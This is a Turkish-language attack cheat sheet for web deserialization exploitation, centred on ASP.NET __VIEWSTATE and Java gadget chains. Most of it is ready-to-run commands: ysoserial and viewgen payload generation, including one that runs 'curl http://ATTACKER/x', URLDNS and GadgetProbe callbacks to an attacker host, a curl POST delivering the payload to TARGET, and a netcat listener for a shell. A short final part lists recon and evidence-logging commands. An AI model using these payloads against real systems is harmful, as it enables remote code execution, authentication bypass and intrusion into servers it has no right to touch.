Exploiting __VIEWSTATE without knowing the secrets

web deserialization

Exploiting __VIEWSTATE without knowing the secrets güvenilmeyen serileştirilmiş veri veya prototype/class pollution üzerinden gadget zinciriyle RCE veya auth bypass arar.

Metodoloji

1. Serileştirilmiş girdiyi ve parser’ı tespit et.

2. Kör OAST (DNS/URLDNS) ile doğrula.

3. Uygun gadget / pollution zincirini kur.

4. RCE veya auth bypass etkisini kanıtla.

Serileştirilmiş girdi bulma

curl -sk https://TARGET/ -b jar | rg -i 'rO0|aced0005|__VIEWSTATE|O:|pickle|yaml|ObjectInput|java\.'

ffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -mc all

cookie, hidden field, JWT claim, message queue, Redis cache

Java deserialization

ysoserial CommonsCollections6 'curl http://ATTACKER/x' | base64 -w0

ysoserial CommonsBeanutils1 'id' > payload.bin

java -jar ysoserial.jar URLDNS 'http://UNIQUE.ATTACKER/' | xxd

curl -sk https://TARGET/deserialize -H 'Content-Type: application/java-serialized-object' --data-binary @payload.bin

DNS / GadgetProbe

java -jar GadgetProbe.jar -o out.bin --dns UNIQUE.ATTACKER

burpsuite  # Java Deserialization Scanner eklentisi

URLDNS ile kör doğrulama → gadget class varlığı → RCE gadget

ViewState / JSF

viewgen --webconfig web.config -c 'calc.exe'

ysoserial ViewState 'cmd'  # secret biliniyorsa

curl -sk https://TARGET/page.aspx -d '__VIEWSTATE=PAYLOAD&__EVENTVALIDATION=...'

machineKey sızıntısı (web.config, git, LFI) → imzalı ViewState RCE

Etki doğrulama

curl http://ATTACKER/hit

nc -lvnp 443

DNS callback → class confirm → RCE gadget → shell

Operasyon notları

Exploiting __VIEWSTATE without knowing the secrets sonuçları hedef sürüme ve yığına göre değişir. Her başarılı adımı request/response ile kaydet; sonraki pivot’u not et.

Ek komutlar

curl -sk https://TARGET/robots.txt

nuclei -u https://TARGET -as -silent

ffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403

GET / HTTP/1.1
Host: TARGET
Accept: */*

mkdir -p evidence/web && tee evidence/web/notes.txt

Bu ekler keşif ve kanıt paketini hızlandırır; asıl sömürü üstteki bölümlerdeki konu-özel payload’larla yapılır.

Ek keşif komutları

curl -sk https://TARGET/robots.txt

curl -sk https://TARGET/sitemap.xml

ffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403

nuclei -u https://TARGET -as -silent

GET / HTTP/1.1
Host: TARGET
Accept: */*

Kanıt toplama

mkdir -p evidence/web && tee evidence/web/notes.txt

request/response
zaman damgası
kullanılan hesap
etki özeti

curl -sk https://TARGET/ -D evidence/web/headers.txt -o evidence/web/body.html